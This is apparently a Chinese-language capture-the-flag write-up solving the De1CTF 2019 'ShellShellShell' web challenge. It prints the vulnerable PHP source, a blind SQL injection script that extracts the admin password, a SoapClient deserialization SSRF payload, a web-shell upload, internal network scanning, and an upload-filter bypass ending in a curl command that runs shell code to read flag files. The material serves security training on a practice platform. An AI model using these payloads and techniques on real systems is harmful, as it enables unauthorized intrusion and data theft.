[De1CTF 2019]ShellShellShell
[De1CTF 2019]ShellShellShell
查看功能
将login替换为register,出现注册页面,注册admin,提示用户已存在。注册test用户
md5前5位碰撞
import hashlib
for i in range(999999,1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
#print(a[0:5])
if a[0:5] == 'fe4f2':
print(i)
print(a)
break
登陆test用户
点击publish,可以发布签名
扫目录,发现有源码泄露
访问index.php,user.php,config.php~可以获取源码,views目录下也存放源码
源码
index.php
<?php
require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
{
$action=$_GET['action'];
$allow=0;
$white_action = "delete|index|login|logout|phpinfo|profile|publish|register";
$vpattern = explode("|",$white_action);
foreach($vpattern as $key=>$value)
{
if(preg_match("/$value/i", $action ) && (!preg_match("/\//i",$action)) )
{
$allow=1;
}
}
if($allow==1)
{require_once 'views/'.$_GET['action'];}
else {
die("Get out hacker!<br>jaivy's laji waf.");
}
}
else
header('Location: index.php?action=login');
user.php
<?php
require_once 'config.php';
class Customer{
public $username, $userid, $is_admin, $allow_diff_ip;
public function __construct()
{
$this->username = isset($_SESSION['username'])?$_SESSION['username']:'';
$this->userid = isset($_SESSION['userid'])?$_SESSION['userid']:-1;
$this->is_admin = isset($_SESSION['is_admin'])?$_SESSION['is_admin']:0;
$this->get_allow_diff_ip();
}
public function check_login()
{
return isset($_SESSION['userid']);
}
public function check_username($username)
{
if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
return false;
else
return true;
}
private function is_exists($username)
{
$db = new Db();
@$ret = $db->select('username','ctf_users',"username='$username'");
if($ret->fetch_row())
return true;
else
return false;
}
public function get_allow_diff_ip()
{
if(!$this->check_login()) return 0;
$db = new Db();
@$ret = $db->select('allow_diff_ip','ctf_users','id='.$this->userid);
if($ret) {
$user = $ret->fetch_row();
if($user)
{
$this->allow_diff_ip = (int)$user[0];
return 1;
}
else
return 0;
}
}
function login()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code erroar");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name');
$db = new Db();
@$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1");
if($ret)
{
$user = $ret->fetch_row();
if($user) {
if ($user[4] == '0' && $user[2] !== get_ip())
die("You can only login at the usual address");
if ($user[3] == '1')
$_SESSION['is_admin'] = 1;
else
$_SESSION['is_admin'] = 0;
$_SESSION['userid'] = $user[0];
$_SESSION['username'] = $user[1];
$this->username = $user[1];
$this->userid = $user[0];
return true;
}
else
return false;
}
else
{
return false;
}
}
else
return false;
}
function register()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code error");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name');
if(!$this->is_exists($username)) {
$db = new Db();
@$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
if($ret)
return true;
else
return false;
}
else {
die("The username is not unique");
}
}
else
{
return false;
}
}
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic']))
{
$dir='/app/upload/';
move_uploaded_file($_FILES['pic']['tmp_name'],$dir.$_FILES['pic']['name']);
echo "<script>alert('".$_FILES['pic']['name']."upload success');</script>";
return true;
}
else
return false;
}
}
function showmess()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
//id,sig,mood,ip,country,subtime
$db = new Db();
@$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
if($ret) {
$data = array();
while ($row = $ret->fetch_row()) {
$sig = $row[1];
$mood = unserialize($row[2]);
$country = $mood->getcountry();
$ip = $mood->ip;
$subtime = $mood->getsubtime();
$allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
array_push($data, $allmess);
}
$data = json_encode(array('code'=>0,'data'=>$data));
return $data;
}
else
return false;
}
else
{
$filenames = scandir('adminpic/');
array_splice($filenames, 0, 2);
return json_encode(array('code'=>1,'data'=>$filenames));
}
}
function allow_diff_ip_option()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['adio'])){
$db = new Db();
@$ret = $db->update_single('ctf_users',"id = $this->userid",'allow_diff_ip',(int)$_POST['adio']);
if($ret)
return true;
else
return false;
}
}
else
echo 'admin can\'t change this option';
return false;
}
function deletemess()
{
if(!$this->check_login()) return false;
if(isset($_GET['delid'])) {
$delid = (int)$_GET['delid'];
$db = new Db;
@$ret = $db->delete('ctf_user_signature', "userid = $this->userid and id = '$delid'");
if($ret)
return true;
else
return false;
}
else
return false;
}
}
config.php
<?php
#test
header("Content-Type:text/html;charset=UTF-8");
date_default_timezone_set("PRC");
session_start();
class Db
{
private $servername = "localhost";
private $username = "Nu1L";
private $password = "***********";#you don't know!
private $dbname = "nu1lctf";
private $conn;
function __construct()
{
$this->conn = new mysqli($this->servername, $this->username, $this->password, $this->dbname);
}
function __destruct()
{
$this->conn->close();
}
private function get_column($columns){
if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';
return $column;
}
public function select($columns,$table,$where) {
$column = $this->get_column($columns);
$sql = 'select '.$column.' from '.$table.' where '.$where.';';
$result = $this->conn->query($sql);
return $result;
}
public function insert($columns,$table,$values){
$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);
return $result;
}
public function delete($table,$where){
$sql = 'delete from '.$table.' where '.$where;
$result = $this->conn->query($sql);
return $result;
}
public function update_single($table,$where,$column,$value){
$sql = 'update '.$table.' set `'.$column.'` = \''.$value.'\' where '.$where;
$result = $this->conn->query($sql);
return $result;
}
}
class Mood{
public $mood, $ip, $date;
public function __construct($mood, $ip) {
$this->mood = $mood;
$this->ip = $ip;
$this->date = time();
}
public function getcountry()
{
// $ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
// $ip = json_decode($ip,true);
return "glzjin";
}
public function getsubtime()
{
$now_date = time();
$sub_date = (int)$now_date - (int)$this->date;
$days = (int)($sub_date/86400);
$hours = (int)($sub_date%86400/3600);
$minutes = (int)($sub_date%86400%3600/60);
$res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
return $res;
}
}
function get_ip(){
return $_SERVER['REMOTE_ADDR'];
}
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
}
function rand_s($length = 8)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
$password = '';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all();
publish.php
<?php
if(!$C->check_login())
{
header('Location: index.php?action=login');
exit;
}
if($C->is_admin==0) {
if (isset($_POST['signature']) && isset($_POST['mood'])) {
$res = @$C->publish();
if($res){
echo "<script>alert('ok');self.location='index.php?action=index'; </script>";
exit;
}
else {
echo "<script>alert('something error');self.location='index.php?action=publish'; </script>";
exit;
}
} else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<a href="index.php?action=logout">logout</a>
<center>
<div class="container" style="margin-top:100px">
<h3>Hi <a href="index.php?action=profile"><?php echo $C->username; ?></a></h3><br>
<form method='post' action="index.php?action=publish">
<p>Please input your signature: <br><textarea name="signature"></textarea></p>
<p>Please choose your mood: <br>
<input type="radio" name="mood" value="0" checked="checked" /><img src="img/0.gif">
<input type="radio" name="mood" value="1" /><img src="img/1.gif">
<input type="radio" name="mood" value="2" /><img src="img/2.gif"></p>
<input type="submit" value="Submit"/>
</form>
</div>
<a href="index.php?action=index"><img src='img/home.png'></a>
</center>
</body>
</html>
<?php }
}
else{
echo "Hello ".$C->username."<br>";
echo "Orz...大佬果然进来了!<br>但jaivy说flag不在这,要flag,来内网拿...<br>";
if(isset($_FILES['pic'])){
$res = @$C->publish();
if($res){
echo "<script>alert('ok');self.location='index.php?action=publish'; </script>";
exit;
}
else {
echo "<script>alert('something error');self.location='index.php?action=publish'; </script>";
}
}
?>
<form method='post' action="index.php?action=publish" enctype="multipart/form-data">
<p>Please upload a pictrue: <br><input name='pic' type='file'></p>
<input type="submit" value="Submit"/>
</form>
<?php
}
?>
分析
user.php中,在publish页面传入的signature参数没有做校验,导致signature参数可控
查看config.php中的insert函数,首先调用get_column()将$values数组用`,`拼接,再通过preg_replace()将两个匹配的`(中间不包含,)替换为'
可以构造1`使得
`id`,`name`,`1``,`mood` ==> 'id','name','1'`,'mood'
提交
1`
提示错误
提交
1`,1)#
提示ok,说明sql注入存在
从user.php中的register函数获得表名列名
@$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
python脚本获取admin密码
import requests
url="http://ce283c4e-25f1-47a3-b00f-465788a3662a.node4.buuoj.cn:81/index.php?action=publish"
cookie = {"PHPSESSID":"t5rculf6qdcd7ksgif8s8e4sj1"}
k="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag=""
for i in range(50):
for j in k:
j = ord(j)
data={
'mood':'0',
'signature':'1`,if(ascii(substr((select password from ctf_users where username=`admin`),{},1))={},sleep(3),0))#'.format(i,j)
}
try:
r=requests.post(url,data=data,cookies=cookie,timeout=(2,2))
except:
flag+=chr(j)
print(flag)
break
密码为md5值,c991707fdf339958eded91331fb11ba0,解密为jaivypassword
登陆admin,提示需要本地登陆
访问/index.php?action=phpinfo,发现开启soap扩展。SoapClient类内置__call(),触发后可以发送HTTP和HTTPS请求,可用于SSRF。
在user.php的showmess()使用了unserialize,反序列化的内容为ctf_user_signature中的mood列的数据,由于签名功能存在sql注入,导致mood可控。
使用另一个浏览器开启一个新的窗口,将新的窗口的cookie及code填入对应位置
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=1194911';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=124l5i5jsqsa7vuetnmikdtsp2'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
echo bin2hex($aaa);
?>
使用原来的test用户发布签名
刷新刚刚使用另一个浏览器开启的新的窗口,admin登陆成功
点击publish,发现文件上传,提示flag在内网
上传图片马,burpsuite修改后缀为php,访问/upload/
使用蚁剑连接,执行ifconfig
使用设置蚁剑代理为burp的代理,使用端口扫描插件,扫描10.224.80.227,将抓取的报文发送至intruder,探测C段主机
发现10.244.80.255开启80端口
执行蚁剑终端执行curl http://10.244.80.225/
再执行curl http://10.244.80.225/ > 1.html
,并访问,为php源码
<?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("try again!!!");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hello'];
if(@substr(file($_)[0],0,6)==='@<?php'){
if(strpos($_,$new_name)===false) {
include($_);
} else {
echo "you can do it!";
}
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
首先判断$ext==$filename[count($filename) - 1]
如果传入file=a.php,$filename将变为
array(2) {
[0]=>
string(1) "a"
[1]=>
string(3) "php"
}
$ext=php,$filename[count($filename) - 1]=$filename[1]=php
如果post传入数组,先传入file[1]=a,再传入file[0]=php,$filename将变为
array(2) {
[1]=>
string(1) "a"
[0]=>
string(3) "php"
}
end($filename)即$ext仍然为php,但是$filename[1]=a,即可绕过$ext==$filename[count($filename) - 1]
判断(本质因为是键值对数组)
然后是文件上传改名,可以通过目录穿越绕过,当$ext=/../a.php时(即$file[0]=/../a.php),$new_name=123./../a.php,即上传文件到当前目录,文件名为a.php。
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
最后是对要包含的文件的文件内容和文件名进行校验,标签前加@并不影响执行(无视),因为上一步绕过文件上传,将a.php上传到当前目录,所以传入hello=a.php,并不等于$new_name。
$_ = $_POST['hello'];
if(@substr(file($_)[0],0,6)==='@<?php'){
if(strpos($_,$new_name)===false) {
include($_);
} else {
echo "you can do it!";
}
}
在之前admin的文件上传页面上传a.php,内容为
@<?php echo `find /etc -name *flag* -exec cat {} +`;
利用Postman生成curl命令,实际使用时删除postman生成的file参数中a.php的前缀
在蚁剑终端执行curl命令发送post请求
curl --location --request POST 'http://10.244.80.225' --form 'file=@"a.php"' --form 'hello="a.php"' --form 'file[1]="111"' --form 'file[2]="222"' --form 'file[0]="/../a.php"'